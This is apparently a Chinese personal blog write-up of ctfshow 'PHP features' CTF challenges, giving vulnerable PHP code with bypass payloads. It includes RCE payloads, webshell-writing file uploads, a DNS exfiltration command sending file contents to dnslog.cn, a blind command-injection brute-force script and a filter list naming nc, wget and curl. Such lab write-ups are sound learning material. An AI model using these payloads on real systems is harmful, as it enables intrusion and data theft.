PHP特性

这里以半做题,半学习为主,所以就显得比较啰嗦

阿巴阿巴,但是实际上,写得比较水,等过一段时间再总结一下

比较深刻的印象是:下一个手册,多看手册

从web135还是几开始,就是看的这个师傅的博客了

web 89

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

preg_match()函数一个漏洞 无法处理数组

所以构造数组绕过:

?num[]=1
?num[]=也行

额,写了一个小脚本测试了一下

也算是传入了值的(算是传入了空嘛),所以数组中有元素

传入的元素是字符串类型的。

web 90

if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

所以考虑传入一个16进制或者8进制的了

payload

?num=010574
?num=0x117c
?num=4476a

intval()函数如果$base为0,则$var中存在字母的话遇到字母就停止读取,传入4476a会将后面的a丢弃,比较前面的

web 91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

额,做题犯迷糊了,主要是一直想不懂phpphp%0aphpphp%0aphp可以拿到flag,

一直没理解到,好吧,现在也迷糊。因为是学习,所以不能直接拿到flag就过了

原来是正则理解错了,/^php$/只能够匹配'php',当时鬼使神差的以为是首尾是php就行

正本表达式全集

payload

?cmd=%0aphp
第一个if,因为它是多行匹配,所以匹配第二行的php过滤
第二个if,因为我们传入%0a是空格,在文件夹中的显示(如下图),所以没有匹配上

在padnote++中视图,显示字符,设置的全部显示

看了一下hint,里面有一个关于文件上传中Apache解析的漏洞

Apache HTTPD 换行解析漏洞(CVE-2017-15715)与拓展

利用最新Apache解析漏洞(CVE-2017-15715)绕过上传黑名单

简单来说就是,Apache2.4.0~2.4.29中在.php的16进制后面加上0a被解析为PHP文件执行了(在利用.php.xxx)绕过那一关,离谱,burp2021没有hex的选项,所以在后面添加0x0a有需要百度一下。对文件上传的脚本也有要求,限制条件有点多,还是请看看上面两个博客。

web 92

if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

普通绕过

感觉和web89差不多,payload:

?num=0x117c
因为是个字符串(前面有演示,只是用的数据是123456),所以第一个判断绕过了
intval检查字符串首部是不是0x,是就当做16进制解析为10进制,且117c的十进制是4476
所以通过判断

hint,不懂这是什么方法

intval()函数如果$base为0,则$var中存在字母的话遇到字母就停止读取

但是e这个字母比较特殊,可以在PHP中不是科学计数法。

所以为了绕过前面的==4476

我们就可以构造 4476e123 其实不需要是e其他的字母也可以

不过问题是,说的能用其它字符,但是只有e是可以的,由于懒(但是不能懒),所以写一个脚本进行测试,发现,确实只有e才能够得flag,不然第一个判断,强弱类型比较就nonono了

再进行php脚本的一个判断输入的4476e123为什么类型

SQL注入代码判断

一般是使用?id=1'进行判断。在这之前,可以传入一个?id[]=1的数组进去;

如果返回页面是:?id=1,那么就可以找下一个注入点了,因为接受id的代码写法可能是

$id=intval($_GET['id']);

web 93

web92+过滤输入的字母

payload:?num=010574利用8进制绕过

web 94

if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
strpos查找"0"在$num中第一次出现的位置。如果匹配不了也返回NULL;

PHP strpos()函数,W3school

payload

?num=4476.01	必须加一个0,否则第三个判断会因为匹配不到0,而返回空
?num=空格010574 加上一个空格过滤,不太清楚原因
?num=%20010574 加上一个空格的url编码,不太清楚原因
?num=%0a010574 加深换行符的url编码
?num=+010574 加上+,不太清楚原因
?num=%2b010574 加上+的url编码,不太清楚原因

web 95

if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
过滤了小数点,还将强匹配改成了弱匹配

payload

?num=空格010574	前面加一个空格过滤,不太清楚原因?num=%20010574   加上空格的url编码,不太清楚原因?num=%0a010574	 加深换行符的url编码

写了一个脚本,跑了一下,看看那些字符添加之后,不会影响intval()函数的运行,有的是不可见字符,就直接给出asc的十六进制了。脚本就放下面了,名字是:不会影响intval()的可见与不可见字符

1:0x9字符是 水平定位符2:0xa字符是 换行符3:0xb字符是 垂直定位符4:0xc字符是 换页键5:0xd字符是 归位符6:0x20字符是 控制设备4(空格)7:0x2b字符是 +

web 96

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

payload

绝对路径:/var/www/html/flag.php相对路径:./flag.php

伪协议:(我一直以为伪协议只有用在include中才能用)

?u=php://filter/convert.base64-encode/resource=flag.php

web 97

if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

payload

post a[]=&b[]=123

理解不了,强行记忆

传入数组,比较时,比较传入对象(数组也算对象)的元素,在进行md5加密判断时,md5()函数加密的都是空字符

web 98

<?
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); ?>

$_GET变量是什么 $_SERVER是什么(头信息)

是真的有点绕,简单来说,首先要看懂三目运算符,接着要看懂引用。

$_GET$_POST分别采集get和post表单中的数据,是数组,$_GET=&$_POST意思是,给$_GET赋值为$_POST的值。简单来说就是,$_GET['123']=1成了$_POST['123']=123,大概就是这样。

?a=a
psot flag=asdf&HTTP_FLAG=flag ?a=a
post HTTP_FLAG=flag ?a=a
post flag=flag
cookie HTTP_FLAG=flag

博客写得很简陋,可以看看这个

php函数的传值与传址(引用)详解

php三元运算符与if的详解

web99

$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

额,试了一手,没得过滤,看了一下hint,说的是in_array没有设置第三个参数,就会将n=1.php自动转换为1

?n=45.php
post content=<?php system('tac flag36d.php');?>

web 100

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}

注意一点:and是或的意思,请看:额,不看了,记住是或不是且就行

然后payload,忘了,

v1=1&v2=eval($_POST[1])?>&v3=;或者v1=1&v2=var_dump($ctfshow)/*&v3=*/;(有点好奇,不封闭,不影响吗)

web 101

学习了,学习了

利用反射类,Relectionclass()函数,作用:根据类名反射一个类。在代码执行时,加入输入一个A,但是在逻辑判断之后,生成了一个B类,所以这时,用Relectionclass("A")来限定生成A类。

payload

echo new Reflectionclass('ctfshow')

拿到flag之后,因为flag比以前少了一位,所以要在末尾添加一个字符,进行爆破

web 102

题目:substr(字符串,起始位置,[结束位置]):截取字符串长度call_user_func 把第一个参数作为回调函数调用,后面的参数作为给回调函数的参数
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}

用hint的方法就行,

get ?v2=115044383959474e6864434171594473&v3=php://filter/convert.base64-decode/resource=1.php
post v1=hex2bin hex2bin 转换十六进制字符串为二进制字符串

v2=115044383959474e6864434171594473:去掉前两位数字(11,用来绕过substr)的截断。同时也是16进制编码的PD89YGNhdCAqYDs,而PD89YGNhdCAqYDs解码出来是:

<?=`cat *`;

因为有e,所以被当做了科学计数法的数字(7.0.0及以下,也会将0x开头的当做数字)。

再结合v1=hex2bin将v2转化为PD89YGNhdCAqYDs,再通过v3实现伪协议的base64-decode通道解码

web 103

白嫖102

web 104

没有任何的过滤机制,所以直接上传两个相同的就是了

web 105

比较典型的参数覆盖,仔细看看代码就看得懂。

payload

1:?suces=flag&flag=	从die($suces)输出flag
2:?suces=flag post error=suces 从die($error)输出flag:
include('flag.php');
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
/*
get传入suces=flag,所以$suces=$flag(答案,已经进行了赋值)
若传入flag=,所以$flag=空,用来绕过一个判断*/
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

web 106

同md5上传数组

web 107

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}

parse_str — 将字符串解析成多个变量,也就是说,v1传递的值,以数组方式放到v2中去了。

payload1

get ?v3=1
post v1=flag=c4ca4238a0b923820dcc509a6f75849b
md5(1)=c4ca4238a0b923820dcc509a6f75849b

payload2

如果v3提交一个数组,返回值是NULL,那么可以不提交v2

get v3[]=1
post v1=

payload3

get ?v3=240610708
post v1=flag=0

web 108

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
die('error'); }
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
ereg():正则表达式函数,没有preg_match好用
strrev():字符串的倒叙

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

get ?c=a%00778

web 109

if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}

paylaod

v1=Exception&v2=system('cat fl36dg.txt')

web 110

if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2']; if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>

payload1

get ?v1=FilesystemIterator&v2=getcwd
getcwd():获取当前文件目录
FilesystemIterator&遍历文件的类
DirctoryIntrerator 遍历目录的类

web 111

利用全局变量

?v1=ctfshow&v2=GLOBLS

web 112

可以直接

php://filter/read/resource

web 113

在web 112对的基础上过滤了php

function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

payload

compress.zlib://flag.php

hint:利用目录溢出,从而让is_file认为不是一个文件

web 114

highlight_file()不能够高亮数组,没有过滤php和filter

payload

?file=php://filter/resource=flag.php

web 115

function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

%0C:换页键

可能会有个问题,就是说,在filter()函数中,过滤了0,但是这里为什么能用%0c呢。因为,如果需要传入不可见字符,但是没有办法,表示,所以就用了%+16进制数来代表添加的对应的符号,例如这里的%0c,虽然写得有0,但是上传之后,%0c表示换页键,是一个不可见字符

web 123

PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_

但是有一个特性可以绕过,使变量名出现.之类的

特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了

如 CTF[SHOW.COM=>CTF_SHOW.COM

payload

1.get CTF_SHOW=2&CTF[SHOW.COM=1&fun=echo $flag
2.get CTF_SHOW=2&CTF[SHOW.COM=1&fun=echo implode(get_defined_vars())

web 125

include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
在web124的基础上过滤了echo print_r var_dump

不过,可以使用var_export来进行输出,所以payload

CTF_SHOW=2&CTF[SHOW.COM=1&fun=var_export(get_defined_vars())

骚操作来了:

1.覆盖fl0g(最骚)

函数:extract():从数组中将变量导入到当前的符号表

所以payload

CTF_SHOW=2&CTF[SHOW.COM=1&fl0g=flag_give_me&fun=extract($_POST)

2.文件包含

利用执行的eval,在fun中传入highlight_file($_GET[1])

payload

get ?1=flag.phppost CTF_SHOW=2&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])

3.argv上传

argv只接受get传入参数,post方式不行

同样,通过eval执行$a,对$fl0g进行赋值

paylaod

get ?$fl0g=flag_give_me;
post CTF%5BSHOW.COM=1&CTF_SHOW=2&fun=eval($a[0])

4.argv上传——改

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) get /?$fl0g=flag_give_me
post CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

解法详情,点击跳转

web 126

嫖web125,argv上传的做法

web 127

$_SERVER['QUERY_STRING']是获取url后面的参数以及值的,

于是只能传递一个参数

所以这个题的考点是,怎么构造一个下划线。首先我们是知道[ . 空格会被转化为下划线,恰好没过滤空格,所以

payload

ctf show=ilove36d

嗯,这里打算跑一下,有哪些字符会被转换为_

结果是:空格 + . [会被转化为_

web 128

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
call_user_func()把第一个参数作为回调函数,剩下的作为给回调函数的参数

新知识:

gettext()函数有一个别名:_

gettext()的作用就是输出一个字符串,

所以payload:

f1=_&f2=get_defined_vars

web 129

if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

额,说的是考虑目录穿越,于是试了一下

./ctfshow/../index.php

接着尝试

./ctfshow/../flag.php

发现是空白的,顺手看眼源代码,能读到index.php所以应该能读到flag.php

web 130

?我直接上传f=ctfshow成功了?

/is		s是匹配换行

因为/.+?ctfshow/is前面是.+?,意思是,在ctfshow字符串前面有至少一个字符。所以直接上传ctfshow能拿到flag。

如果设置表达式为:(.+)?那么ctfshow就无法绕过了

web 131

include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}

这个题考的是,正则表达式溢出,新知识了。

php正则表达式进行匹配有限制,超过限制直接返回flase

php正则失效-最大回溯(pcre.backtrack_limit)/递归限制

正则表达式,对一百万长度后面的就不匹配了。

直接用hint的就行,如果复制粘贴太卡,可以试试这个脚本

import requests

url='http://ced5ea6a-1d3b-4f66-a3ff-61a42deeaec4.challenge.ctf.show:8080/'
data={
'f':'show'*250002+'36Dctfshow'
}
re=requests.post(url=url,data=data).text
print(re)

web 132

访问robots.txt,发现有一个admin目录,访问得到

if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){
echo $flag;
}
}
}

嗷,对了忘了说,这里建议下载一个手册,查函数的时候是真的方便

php中逻辑运算符的高效用法&&和||

所以,看代码;我们没有办法预测mt_rand()函数的值,又看运算;其实,一眼望过去,会发现,第一第二个判断都是无法预测无法构造的,只能是FALSE,巧就巧在,前两个过了,后面的username能够进入判断和能够利用;

所以对username进行赋值admin,又由于code也要等于admin,所以给code也赋值为admin,反正code字符串时肯定不等于mt_rand()的随机数的。password没得什么用,不复制也行

?username=admin&password=&code=admin

web 133

这题有点没看懂,没懂这个方法原理是怎么样的。

给我的感觉是,访问一个地址,然后在地址查询记录;恰好有个在线工具

每次外带只能带一条输出来,让后执行命令

payload是

?F=`$F`;+`ping "cat flag.php|grep ctfshow".atqwxp.dnslog.cn -c 1`

显然没构造对,,,,

?F=`$F`;+ping `cat flag.php|grep ctfshow`.atqwxp.dnslog.cn -c 1

先理解一下是怎么把flag带出来的,接着再看怎么执行带出flag的语句

传入的是?F=`$F`;+ping `xxx`
``在PHP中相当于是shell_exec()的函数别名,类似gettext()函数别名为_() 代码中进行了前六位的截断,就只有`$F`;空格 +上传之后是空格
又因为$F=`$F`;+ping `xxx`;
所以,截断后,执行的代码是 eval(`$F`; ping `xxx`),
为什么前面还是有`$F`呢?,因为$F=`$F`;+ping `xxx`;套娃了
然后通过构造xxx,把flag拿出来,进行拼接,接着ping一下,sss.dnslog.cn。
最后查看记录

大概就是这么一个意思

出题师傅的wp

群主师傅B站的讲解

web 134

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
a&&b 如果a错误,不走b
a||b 如果b正确,不走b
$_SERVER['QUERY_STRING']是获取get的参数以及值的
extract 从数组中将变量导入到当前的符号表(简单来说就是,将数组里的键给搞成变量,将数组的值给对应的键)

payload

get ?_POST[key1]=36d&_POST[key2]=36d

原因是:
@parse_str($_SERVER['QUERY_STRING']); 将数据转化为了,$_POST[key1]=36d
接着extract($_POST)将$_POST[key1]=36d转化为了$key=36d

web 135

和web133差不多的方式,只是需要换一个nl flag

?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"/"{"/"-"`.4qv6n3.dnslog.cn -c 1

拿到第一个flagflag1=ctfshow{fbfe4223341,就是有点不懂,为啥不加正则不行

然后有用 命令查看了一下是不是还有其他的文件,发现没有

最后看了视频才知道,原来在16行

web 136

    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}

这个要新学一个Linux的 命令:tee

payload

get ?c=ls /|tee 1	扫描根目录,将结果存入文件1中,由于过滤了. 所以不能加后缀
然后访问url/1
get ?c=nl /f149_15_h3r3|tee 2

拿到flag

web 137

额,观察一波,传入一个ctfshow类中的方法

payload

post ctfshow=ctfshow::getFalg

web 138

import requests

cmd = 'cat /f149_15_h3r3'
result = ''
for i in range(1, 10):
for j in range(1, 50):
print('i=', i, ' j=', j)
for k in range(32, 128):
k = chr(k)
payload = f"if [ `{cmd} |awk NR=={i}|cut -c {j}` == {k} ]; then sleep 3;fi"
payload = '?c=' + payload
url = 'http://15531f1c-3c8e-4e3f-9f0c-163a616f390d.challenge.ctf.show:8080/'
try:
requests.get(url + payload, timeout=(2.5, 2.5))
except:
result = result + k
print(result)
break
result = result + "\n"

web 140

if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

这里看到eval,说实话,一开始想到的是命令执行,或者是外带,或者是反射类,执行出来一个ctfshow字符串或者是。试了一下都不行,最后看了一下别人的博客,说的是只要eval执行的结果是0或者是NULL就行,但是不能报错。

最后仔细一看,用弱比较过的判断。intval()函数出来的必是一个数字,数字和字符串这里进行弱比较,数子就得是0了。

payload,随便用哪一个

post f1=usleep&f2=usleep
post f1=gmdate&f2=gmdate
post f1=intval&f2=intval

web 141

if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
is_numeric — 检测变量是否为数字或数字字符串 (是,true;否,false)

利用|运算来进行代码执行,看的这一位师傅的wp

payload

?v1=1&v2=1&v3=*("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%20%06%0c%01%07%02%10%08%10"|"%60%60%60%20%60%60%60%60%2c%60%60%60");
system
cat flag.php

使用system('cat flag.php')不行

web 142

payload:

?v1=0

web 143

从这里开始建议去看这个博客了,我的代码始终有点问题

看的这一位师傅的wp

payload

?v1=1&v2=2&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60")?>

web 144

import re

content=''
count=0
preg='[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"' for i in range(1,256):
for j in range(1,256):
if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):
k=i^j
if 32<=k<=126:
a='%'+hex(i)[2:].zfill(2)
b='%'+hex(j)[2:].zfill(2)
content=content+chr(k)+' '+a+' '+b+'\n' #print(content)
f=open('exp_yh.txt','w')
f.write(content)
f.close()
# print('pass'+chr(i)+'==>'+str(i))
while True:
payload1=''
payload2=''
payload=''
code=input('data: ')
f=open('exp_yh.txt','r')
lines=f.readlines()
for c in code:
for line in lines:
if c==line[0:1]:
payload1=payload1+line[2:5]
payload2=payload2+line[6:9]
break
payload='("'+payload1+'"^"'+payload2+'")'
print('payload:'+payload)

因为是学习,不能总是抄别人的代码,于是额手打了一次

?v1=1&v3=2&v2=*(%22%08%02%08%08%05%0d%22^%22%7b%7b%7b%7c%60%60%22)(%22%03%01%08%07%06%0c%01%07%02%0b%08%0b%22^%22%60%60%7c%27%60%60%60%60%2c%7b%60%7b%22)

web 145

?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%20%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|

格式1|()|2或者1?()2

web 146

同上

web 147

由于命名空间问题,如果要绝对调用一个函数,例如system,那么就要写成\system

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法

paylaod

?show=;};phpinfo();/*
ctf=\create_function

create_function详细利用请看

代码审计值create_function()函数

web 148

payload1

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%0c%01%07%01%0b%08%0b"^"%60%60%7d%21%60%60%60%60%2f%7b%60%7b");
查看源代码

web 149

条件竞争,没有过滤,线程开高点

然后再调高一些

web 150

可以尝试用上传文件的形式做,

首先要知道怎么绕过过滤,然后执行include($ctf)

审计代码之后发现,有一个extract($_GET),可以用来上传$isVIP=1绕过$isVIP。extract作用就不在赘述了

接着通过post上传ctf,如果用get方式传递,会被过滤。从ctf上传/tmp/sess_test如图 :

所以,在题目中,上传ctf=/tmp/sess_test,那么/tmp/sess_test会被加载,如果文件满足PHP格式,那么通过include后会执行PHP部分代码。详情可以看文件包含_web82

接着写一个上传文件的html代码,上传,同时在题目界面发送post的请求。

<html>
<body> <form action="http://02b60c98-5818-4f14-b442-bfab88477ae3.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php file_put_contents('/var/www/html/test1.php','<?php eval($_POST[test1]);?>');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

反复上传,直到能够访问url/test1.php,接着利用rce拿到flag

web150_

题目和150几乎一样,只是了一个log过滤

方法同web150

这个方法,怎么说呢,感觉只要没有过滤_ \,几乎就是万能的了,顶不住。

绕过intval

intval原理:https://www.runoob.com/php/php-intval-function.html,反复多看几次

不绕过方式:(额,就是进入了这个判断,if成功,才能拿到flag,不是else)

  1. 利用16进制和8进制
  2. 利用字符干扰,intval()函数如果$base为0,则$var中存在字母的话遇到字母就停止读取,例如web92——hint

  1. 数字前加上空格空格的url编码 %20换行符的url编码 %0a +,+的url编码 %2b
1:0x9字符是 水平定位符
2:0xa字符是 换行符
3:0xb字符是 垂直定位符
4:0xc字符是 换页键
5:0xd字符是 归位符
6:0x20字符是 控制设备4(空格)
7:0x2b字符是 +

不会影响intval()的可见与不可见字符

import requests
# 额,所用的url是web95的题目环境;代码写的烂,请将就将就
url='http://74959170-6cdd-4bd3-9e06-3c749b1aa773.challenge.ctf.show:8080/'
url_test=url+'?num=010574'
url_right=url+'?num= 010574'
exp_len=len(requests.get(url_test).text)
right_len=len(requests.get(url_right).text) useful=''
num=1 for i in range(1,255):
URL=url+'?num='+chr(i)+'010574'
lenth=len(requests.get(url=URL).text)
#print (chr(i))
if lenth!=exp_len:
print(str(lenth)+'========>'+chr(i)+'====>'+str(hex(i)))
if lenth==right_len:
useful=useful+str(num)+':'+str(hex(i))+'字符是'+chr(i)+'\n'#+URL+'\n'
num+=1 print(exp_len)
print(right_len)
print(useful)

多嘴一句,咋们貌似还可以将255给调大点,虽然后面的貌似都没有什么作用

八卦都整出来了,都没有合适的(吃饭的时候跑了一下玩一玩)

反射类

web 101

SplFileInfo
mysqli
exception

md5 sha1

  1. 数组绕过
  2. md5(array())返回值为NULL

覆盖类

  1. 全局变量 GLOBALS
  2. is_file函数可以使用包装器伪协议绕过,不影响file_get_contents highlight_file
  3. readfile考虑目录穿越,
  4. include也可以考虑目录穿越

带出类

特点:只会给6个位置,没过滤反引号

利用http://dnslog.cn来讲查询到的flag带出道记录中

ctfshow_web入门 PHP特性的更多相关文章

  1. Sass入门——基本特性-基础

    本文来自慕课网大漠 声明变量 三个部分:1.声明变量的符号"$"2.变量名称3.赋予变量的值 $brand-primary : darken(#428bca, 6.5%) !def ...

  2. shell入门-shell特性

    1.关于! 命令:!! 说明: 执行上一条命令 [root@wangshaojun ~]# pwd/root[root@wangshaojun ~]# !!pwd/root 命令:!n (n表示数字) ...

  3. MVC控制器总结

    1.特性 [AuthorizeFilter]  用于权限过滤 [HttpGet] [HttpPost] 2.参数 获取方法 public ActionResult void Get(int id){} ...

  4. MVC控制器使用总结

    一.新手入门 1.特性 [AuthorizeFilter]  用于权限过滤 [HttpGet] [HttpPost] 2.参数 GET获取 [HttpGet] ) { return Json(&quo ...

  5. CosmosEngine - Unity3D /2D 轻量级游戏开发框架

    CosmosEngine https://github.com/mr-kelly/CosmosEngine 快速入门 简介 特性 约定 整体架构图 使用经验 工作流 未来功能 快速入门 1.将NGUI ...

  6. ES6入门系列三(特性总览下)

    0.导言 最近从coffee切换到js,代码量一下子变大了不少,也多了些许陌生感.为了在JS代码中,更合理的使用ES6的新特性,特在此对ES6的特性做一个简单的总览. 1.模块(Module) --C ...

  7. Redis入门教程:特性及数据类型的操作

    虽然Redis已经很火了,相信还是有很多同学对Redis只是有所听闻或者了解并不全面,下面是一个比较系统的Redis介绍,对Redis的特性及各种数据类型及操作进行了介绍.是一个很不错的Redis入门 ...

  8. (升级版)Spark从入门到精通(Scala编程、案例实战、高级特性、Spark内核源码剖析、Hadoop高端)

    本课程主要讲解目前大数据领域最热门.最火爆.最有前景的技术——Spark.在本课程中,会从浅入深,基于大量案例实战,深度剖析和讲解Spark,并且会包含完全从企业真实复杂业务需求中抽取出的案例实战.课 ...

  9. Bootstrap入门(十六)组件10:well和具有响应式特性的嵌入内容

    Bootstrap入门(十六)组件10:well和具有响应式特性的嵌入内容 well组件可以为内容增添一种切入效果. 具有响应式特性的嵌入内容可以根据被嵌入内容的外部容器的宽度,自动创建一个固定的比例 ...

  10. 前端入门21-JavaScript的ES6新特性

